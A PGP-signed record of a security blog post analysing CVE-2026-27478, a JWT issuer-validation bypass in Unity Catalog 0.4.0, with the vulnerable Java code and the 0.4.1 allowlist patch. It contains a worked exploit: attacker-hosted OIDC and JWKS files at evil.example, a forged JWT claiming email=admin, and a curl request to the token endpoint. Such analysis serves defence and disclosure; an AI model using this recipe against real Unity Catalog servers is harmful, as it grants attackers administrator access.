-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The verifier asks the token where its key lives\n\nCVE-2026-27478 names a JWT issuer-validation bypass in Unity Catalog versions up to and including 0.4.0. The handler is `POST /api/1.0/unity-control/auth/tokens` in `server/src/main/java/io/unitycatalog/server/service/AuthService.java`, the OAuth 2.0 token-exchange endpoint. The pre-patch body, from v0.4.0, after the grant-type and token-type sanity checks:\n\n```java\nDecodedJWT decodedJWT = JWT.decode(form.getSubjectToken());\nString issuer = decodedJWT.getIssuer();\nString keyId = decodedJWT.getKeyId();\n\nLOGGER.debug(\"Validating token for issuer: {} and keyId: {}\", issuer, keyId);\n\nJWTVerifier jwtVerifier = jwksOperations.verifierForIssuerAndKey(issuer, keyId);\ndecodedJWT = jwtVerifier.verify(decodedJWT);\nverifyPrincipal(decodedJWT);\n```\n\n`JWT.decode` parses the bearer token without checking the signature; it returns the header and payload claims as a `DecodedJWT`. `decodedJWT.getIssuer()` returns the `iss` claim verbatim. That string is passed straight into `jwksOperations.verifierForIssuerAndKey(issuer, keyId)`. The verifier the helper returns will verify the JWT's signature with whatever key the helper finds. There is no other input to the key-selection step.\n\n## What loadJwkProvider does with the URL\n\n`JwksOperations.loadJwkProvider(issuer)` in v0.4.0, abridged to the external-issuer branch the token-exchange endpoint takes:\n\n```java\n@SneakyThrows\npublic JwkProvider loadJwkProvider(String issuer) {\n if (issuer.equals(INTERNAL)) {\n Path certsFile = securityContext.getCertsFile();\n return new JwkProviderBuilder(certsFile.toUri().toURL()).cached(false).build();\n } else {\n if (!issuer.startsWith(\"https://\") && !issuer.startsWith(\"http://\")) {\n issuer = \"https://\" + issuer;\n }\n\n String wellKnownConfigUrl = issuer;\n if (!wellKnownConfigUrl.endsWith(\"/\")) {\n wellKnownConfigUrl += \"/\";\n }\n var path = wellKnownConfigUrl + \".well-known/openid-configuration\";\n\n String response = webClient.get(path).aggregate().join().contentUtf8();\n Map configMap = mapper.readValue(response, new TypeReference<>() {});\n\n String configIssuer = (String) configMap.get(\"issuer\");\n String configJwksUri = (String) configMap.get(\"jwks_uri\");\n\n if (!configIssuer.equals(issuer)) {\n throw new OAuthInvalidRequestException(ErrorCode.ABORTED,\n \"Issuer doesn't match configuration\");\n }\n\n if (configJwksUri == null) {\n throw new OAuthInvalidRequestException(ErrorCode.ABORTED, \"JWKS configuration missing\");\n }\n\n return new JwkProviderBuilder(URI.create(configJwksUri).toURL()).cached(false).build();\n }\n}\n```\n\nThe `INTERNAL` branch returns a key from disk for tokens Unity Catalog issued to itself. The `else` branch is the only path inbound tokens from external identity providers take. The function does no inspection of `issuer` other than ensuring it has a scheme; anything that resolves to an HTTP or HTTPS URL is accepted. Every fact in the rest of the function descends from the document at `/.well-known/openid-configuration`, which the server fetches over plain HTTP from whichever host `issuer` names.\n\nThe two checks that follow look like protection. They are not.\n\nThe first check, `if (!configIssuer.equals(issuer))`, compares the `iss` claim from the JWT to the `issuer` field of the OIDC discovery document. Both strings come from the caller. The caller writes the JWT's `iss`. The caller hosts the document at `/.well-known/openid-configuration`. The caller writes the document's `issuer` field. The check passes when the caller is consistent with themselves.\n\nThe second check, `if (configJwksUri == null)`, rejects requests where the OIDC document does not name a key location. The caller writes the document. The caller fills in `jwks_uri`.\n\nThe final line builds a `JwkProvider` from `configJwksUri`, fetches the JWKS from that URL, and returns a verifier. The verifier checks two things: the algorithm matches a supported RSA variant, and the JWT's signature decodes against a key the caller served.\n\n## The signature proves the caller can host JSON\n\nThe full attack is two static files and one `curl`. The attacker hosts a discovery document at any URL the Unity Catalog server can reach:\n\n```http\nGET https://evil.example/.well-known/openid-configuration\n\n{\n \"issuer\": \"https://evil.example\",\n \"jwks_uri\": \"https://evil.example/jwks.json\"\n}\n```\n\nAnd a JWKS at the URI named above:\n\n```http\nGET https://evil.example/jwks.json\n\n{\n \"keys\": [\n {\n \"kty\": \"RSA\",\n \"kid\": \"evil-1\",\n \"alg\": \"RS256\",\n \"n\": \"\",\n \"e\": \"AQAB\"\n }\n ]\n}\n```\n\nThe attacker signs a JWT with the matching private key:\n\n```\n{ \"alg\": \"RS256\", \"kid\": \"evil-1\", \"typ\": \"JWT\" }\n.\n{\n \"iss\": \"https://evil.example\",\n \"sub\": \"admin\",\n \"email\": \"admin\",\n \"iat\": 1763000000,\n \"exp\": 1763003600\n}\n.\n\n```\n\nAnd sends it:\n\n```bash\ncurl -X POST https://uc.victim/api/1.0/unity-control/auth/tokens \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n -d 'grant_type=urn:ietf:params:oauth:grant-type:token-exchange' \\\n -d 'requested_token_type=urn:ietf:params:oauth:token-type:access_token' \\\n -d 'subject_token_type=urn:ietf:params:oauth:token-type:access_token' \\\n -d \"subject_token=$JWT\"\n```\n\nOn the server: `JWT.decode` reads `iss=https://evil.example` from the token. `loadJwkProvider(\"https://evil.example\")` fetches `/.well-known/openid-configuration` from `evil.example`, parses it, sees `issuer=https://evil.example` matching the request's `iss`, sees `jwks_uri=https://evil.example/jwks.json`. Fetches the JWKS. Pulls the public key for `kid=evil-1`. Builds `JWT.require(Algorithm.RSA256(pubkey, null)).withIssuer(\"https://evil.example\")`. Calls `verify`. The signature decodes against the attacker's public key, because the attacker signed with the matching private key. The verifier's `withIssuer` matches the JWT's `iss`. Verification passes.\n\n`verifyPrincipal` reads the email claim, sees `admin`, returns. The server calls `securityContext.createAccessToken(decodedJWT)` and returns an access token signed by Unity Catalog's own internal signing key. The attacker now holds a Unity Catalog access token scoped to the admin principal, valid against every endpoint the server's `AuthDecorator` guards.\n\nThe signature on the inbound JWT proved exactly one thing: the caller could host two JSON documents at a URL they put in `iss`. The verifier treated that as authentication.\n\nThis is the shape the pattern Caller Chosen Key names. We have seen it twice already: [RestroPress signed JWTs with an HMAC key the caller supplied in a header](/posts/restropress-token-is-issued-not-forged), and [Nginx-UI verified backup manifests with a key the caller embedded in the backup itself](/posts/nginx-ui-backup-signature-key-on-the-request). Unity Catalog hosts the asymmetric, network-mediated version: the key is not on the request body, the key is at a URL the request names.\n\n## The admin branch is a separate footgun\n\n`verifyPrincipal` after the signature check:\n\n```java\nprivate void verifyPrincipal(DecodedJWT decodedJWT) {\n String subject =\n decodedJWT\n .getClaims()\n .getOrDefault(JwtClaim.EMAIL.key(), decodedJWT.getClaim(JwtClaim.SUBJECT.key()))\n .asString();\n\n LOGGER.debug(\"Validating principal: {}\", subject);\n\n if (subject.equals(\"admin\")) {\n LOGGER.debug(\"admin always allowed\");\n return;\n }\n\n try {\n User user = userRepository.getUserByEmail(subject);\n if (user != null && user.getState() == User.StateEnum.ENABLED) {\n LOGGER.debug(\"Principal {} is enabled\", subject);\n return;\n }\n } catch (Exception e) {\n // IGNORE\n }\n\n throw new OAuthInvalidRequestException(\n ErrorCode.INVALID_ARGUMENT, \"User not allowed: \" + subject);\n}\n```\n\nThe function reads `email` if present and falls back to `sub`. The string is compared to the literal `\"admin\"`. Any token that survives signature verification and carries `email=admin` is admitted as admin, with no lookup against the user database. The `admin always allowed` branch was written so an operator could bootstrap the system using the admin token in `etc/conf/token.txt` before any user has been added. With caller-chosen-key in play upstream, it becomes \"any JWT the caller forges that claims `email=admin` is admin.\"\n\nThe v0.4.1 patch addresses the caller-chosen-key shape by gating issuer at an allowlist. It does not remove the `admin always allowed` branch. The branch sits in `AuthService.java` in v0.4.1 byte-for-byte identical, with an authentication gate now in front of it instead of authentication theater.\n\n## The Javadoc named this in the first commit\n\nThe handler was introduced in PR #277, \"Simple Token based access control and Oauth2 authentication,\" merged on commit `9717a3b` dated August 26, 2024. The Javadoc on `grantToken` in that commit reads:\n\n```java\n *

Currently the issuer for the incoming token to validate is not constrained to a specific\n * identity provider, rather as long as the token is signed by the matching issuer the validation\n * succeeds.\n *\n *

Eventually this should be constrained to a specific identity provider and even require that\n * the incoming identity (email, subject) matches a specific user in the system, once a user\n * management system is in place.\n```\n\nThe fix shipped in commit `89b91863` on March 12, 2026, as part of \"Backport changes to branch-0.4 to prepare for release 0.4.1.\" Eighteen and a half months separate the comment naming the gap from the code closing it. During that window, the comment was the API-documentation Javadoc directly above the route handler, the prose every downstream developer reading the file consulted to understand what `POST /tokens` does. It is not commented-out code, it is not a stray `// TODO` deep inside a method, it is the public contract of the endpoint. The Javadoc described the bug correctly and the bug shipped anyway.\n\nThis is the shape the pattern [Todo That Shipped](/patterns/todo-that-shipped) names. The fix was written as English, by the author, in 2024. The English remained where the author put it for eighteen and a half months, accurate the whole time.\n\n## The patch names the threat the original code did not have a model for\n\nThe v0.4.1 diff that closes CVE-2026-27478 replaces both the Javadoc and the body. The Javadoc now reads:\n\n```java\n *

The issuer of the incoming token must be in the configured allowlist\n * (server.allowed-issuers) and the token must contain a valid audience claim matching the\n * configured audiences (server.audiences). Both configurations are required when authorization is\n * enabled.\n```\n\nAnd the body adds an allowlist check before the JWKS fetch:\n\n```diff\n+ List allowedIssuers = serverProperties.getAllowedIssuers();\n+ if (allowedIssuers.isEmpty()) {\n+ throw new OAuthInvalidRequestException(\n+ ErrorCode.INVALID_ARGUMENT,\n+ \"No allowed issuers configured. Set server.allowed-issuers in server.properties\");\n+ }\n+\n+ List audiences = serverProperties.getAudiences();\n+ if (audiences.isEmpty()) {\n+ throw new OAuthInvalidRequestException(\n+ ErrorCode.INVALID_ARGUMENT,\n+ \"No audiences configured. Set server.audiences in server.properties\");\n+ }\n\n DecodedJWT decodedJWT = JWT.decode(form.getSubjectToken());\n String issuer = decodedJWT.getIssuer();\n+\n+ // Validate issuer is in allowlist BEFORE fetching JWKS\n+ if (!allowedIssuers.contains(issuer)) {\n+ throw new OAuthInvalidRequestException(ErrorCode.UNAUTHENTICATED, \"Invalid issuer\");\n+ }\n```\n\nThe allowlist check sits between the JWT decode and the JWKS fetch. The server now refuses to consult an OIDC document whose URL the operator has not pre-authorized. `verifierForIssuerAndKey` also gains an `audiences` parameter and enforces `withAnyOfAudience`, which the v0.4.0 verifier never called. Tokens minted by a real IdP for some other application no longer trade for Unity Catalog access by accident.\n\nThe new operator docs in `docs/server/auth.md` are explicit:\n\n> `server.allowed-issuers`: Comma-separated list of allowed token issuers (exact match). Tokens from issuers not in this list will be rejected. **This prevents attackers from using their own identity provider to forge tokens.**\n\nThe fix is a configuration property that defaults to empty and refuses to issue tokens when empty. Operators who upgrade to v0.4.1 without setting `server.allowed-issuers` will see `\"No allowed issuers configured\"` and fail closed. The threat model is one line of documentation and one allowlist check. It shipped in March 2026. The Javadoc that asked for it shipped in August 2024.\n\nPoC: [GHSA-qqcj-rghw-829x](https://github.com/advisories/GHSA-qqcj-rghw-829x)\n","closing_line":"The signature on the inbound JWT proves the caller can host a JSON document at the URL they chose. In v0.4.0 the server treated that proof as authentication.","hook_md":"Unity Catalog's token-exchange endpoint reads the `iss` claim out of the incoming JWT, treats it as a URL, fetches `/.well-known/openid-configuration`, follows the `jwks_uri` from that document to a key, and verifies the JWT's signature with that key. The caller writes `iss`. The caller hosts the document at `iss`. The caller hosts the JWKS at `jwks_uri`. The signature the verifier checks proves the caller could host two JSON files. CVE-2026-27478 is what happens when that proof is treated as authentication.","post_id":277,"slug":"unity-catalog-asks-the-token-where-its-key-lives","title":"CVE-2026-27478: Unity Catalog's JWT Verifier Asks the Token Where Its Key Lives","type":"initial","unreadable_sentence":"The signature proves the caller can host JSON. Unity Catalog accepts that as authentication."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCasvCagAKCRDeZjl4jgkQ JnC1AQCeubF2olHDNKOP6wYPy0tmJp2yOh64uChS148ds0OyugD/RRX0kPVO5+ec 62QyjGQ2/3ju50ZsmVRdq43zFENv+gg= =wthH -----END PGP SIGNATURE-----